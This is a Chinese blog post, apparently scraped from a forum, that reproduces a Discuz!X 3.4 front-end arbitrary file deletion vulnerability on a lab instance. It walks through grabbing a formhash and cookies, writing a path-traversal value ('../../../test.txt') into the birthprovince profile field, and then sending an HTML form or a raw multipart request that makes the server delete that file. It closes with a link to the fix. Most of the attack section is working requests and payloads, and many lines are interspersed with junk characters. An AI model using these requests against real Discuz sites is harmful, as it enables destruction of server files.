Discuz!X 3.4 任意文件删除漏洞复现

fudyou

' k1 z! `, V6 t2 u1 S  I9 @
前言：9月29日，Discuz修复了一个前台任意文件删除的漏洞，相似的漏洞曾在2014年被提交给wooyun和discuz官方，但是修复不完全导致了这次的漏洞。网上很多说官方3.4版本已修复，但我用环境的是vulhub上3.4版本。所以不知道3.4修复没修复直接复现一下。
影响版本：Discuz < =3.4 环境
  Y6 \' [# ?' a0 }
9 Y- x5 D/ q& w2 o. I9 i3 f3 s) l复现过程：首先在discuz目录下新建一个test.txt文件，到时候删除用。
# F2 [7 C- e& d( I. i* S新建test.txt
访问：http://192.168.220.131/home.php?mod=spacecp，然查审查元素，查看formhash的值，然后复制。

1 l6 {* ?5 V# n+ \/ [1 B- ^
7 Z4 `- P' u. U+ P. ]. ^, M查看formhash
利用burp抓包，获取cookie


  [, C3 W; q5 S6 U/ i) ?8 Z

& K. f9 X; n, v4 h, }7 n
: ~+ m- J% R) G- \  f& e) C/ S- {抓取cookie
. f6 q& h; ]# [- |. O2 N
发送下面数据包：修改cookie，formhash,还有删除的文件
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
0 K8 Z# e- I6 k; Z8 o8 ^8 `( iHost: localhost
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
  ]3 J: m. P9 R& j: e' B( O6 P6 _Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
9 y9 u! S  ?; B4 G1 JAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: CmcL_2132_saltkey=b9yKqToA; CmcL_2132_lastvisit=1577934646; CmcL_2132_sid=I21Fam; CmcL_2132_lastact=1577951222%09misc.php%09patch; CmcL_2132__refer=%252Fhome.php%253Fmod%253Dspacecp; CmcL_2132_seccode=1.1f5dbc9f8f51267031; CmcL_2132_ulastactivity=f7c74D32skNeZM0YcFOOaQUi7XmBcai6jjji8MGC7px2%2BTiSN9qM; CmcL_2132_auth=8bf5qD72m1LL4vx%2BXQAGHjNEfio4ELQqrhkkrwz%2FdcuiSxXlRhnYfpwxloZj5lqVp6zUrThf%2FVYOcWS9xQwm; CmcL_2132_lastcheckfeed=2%7C1577938266; CmcL_2132_lip=192.168.220.1%2C1577938056
Connection: close
------WebKitFormBoundaryPFvXyxL45f34L12s
* n6 v- Q: _9 x( W7 G& bContent-Disposition: form-data; name="formhash"
84a7f376
' d8 r2 k# ?% z: D' g( p' j------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"
, c' K, c+ M* v( c/ c. F% b; w../../../test.txt
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="profilesubmit"
1
------WebKitFormBoundaryPFvXyxL45f34L12s--
, u% [; j  ~" M发送删除的数据包
+ |  q4 }( ]7 ?8 {刷新页面，查看出生地就会显示成下图所示的状态：
+ F9 @" ~* c: c5 P- i& f6 D/ T数据成功写入

3 _# T, [: a# m0 _
6 ]% F# K0 e. s- z. p2 X9 Q说明数据已经进入数据库：
然后，新建一个upload.html，代码如下，将其中的ip改成discuz的域名，[form-hash]改成你的formhash：
6 k; ]. K( H( N: K  C! a1 D<form action="http://192.168.220.131/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"method="POST" enctype="multipart/form-data">
$ N1 b, @8 @2 e5 c! j9 d# l7 O. ?<input type="file"name="birthprovince" id="file" />
<input type="text"name="formhash" value="84a7f376"/></p>
<input type="text"name="profilesubmit" value="1"/></p>
' c0 S8 A: l- t' N6 E. h. k<input type="submit"value="Submit" />
</from>





3 q5 g* `4 _0 g2 a) k或者直接构建数据包：
POST /home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=84a7f376 HTTP/1.1
Host: 192.168.220.131
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 l, N8 @# ~# U0 ]3 V8 JAccept-Encoding: gzip, deflate
. j% d4 k' Q! r) r2 ZContent-Type: multipart/form-data; boundary=---------------------------123821742118716
Content-Length: 91989
; _8 R/ o! W% }/ c, JConnection: close
Cookie: CmcL_2132_saltkey=b9yKqToA; CmcL_2132_lastvisit=1577934646; CmcL_2132_sid=I21Fam; CmcL_2132_lastact=1577951222%09misc.php%09patch; CmcL_2132__refer=%252Fhome.php%253Fmod%253Dspacecp; CmcL_2132_seccode=1.1f5dbc9f8f51267031; CmcL_2132_ulastactivity=f7c74D32skNeZM0YcFOOaQUi7XmBcai6jjji8MGC7px2%2BTiSN9qM; CmcL_2132_auth=8bf5qD72m1LL4vx%2BXQAGHjNEfio4ELQqrhkkrwz%2FdcuiSxXlRhnYfpwxloZj5lqVp6zUrThf%2FVYOcWS9xQwm; CmcL_2132_lastcheckfeed=2%7C1577938266; CmcL_2132_lip=192.168.220.1%2C1577938056
Upgrade-Insecure-Requests: 1
  a( E, A% X; }$ A! ]-----------------------------123821742118716
* n  _! [4 _0 jContent-Disposition: form-data; name="birthprovince"; filename="0.jpg"
Content-Type: image/jpeg
, _0 K$ a$ y4 m  q" o& F/ f7 x# zzerba（这里写啥都可以）
7 C" F! d' W/ a" k0 a" K-----------------------------123821742118716--
  {0 Y: M( k; b! Z, C
! }3 N* _2 w! a" N7 t

2 |* c+ C2 \/ Z  y  ]" [

$ h# T/ c' w2 @* r
) S: m7 b" c3 A) v/ o
: a5 y  l$ X8 \$ P
% \5 a$ i. o- }4 T( K3 S* i3 D3 I


+ C& X- a, T! |1 f. V2 J1 O进去discuz看看，可以看到，test.txt文件已经被删除了。


  O( p; |+ l/ J
2 ?( ^3 N4 \/ x& K4 ]0 X

修复建议：https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574
" a8 Q& |" k3 W& k: z编辑upload/source/include/spacecp/spacecp_profile.php文件，删除和unlink相关代码。

: N% n! l: x& J5 Z1 G1 \4 z) v
) o+ p% {, e% |' n& R% y& M5 F' E
# J% v, m5 n  o+ i2 K

8 `7 ~' s/ a; x! }
3 ~7 L" _% y9 g$ U2 O9 P
6 _# ?) z# D7 B9 y$ @3 ?7 K. y
$ U) p# s3 |. C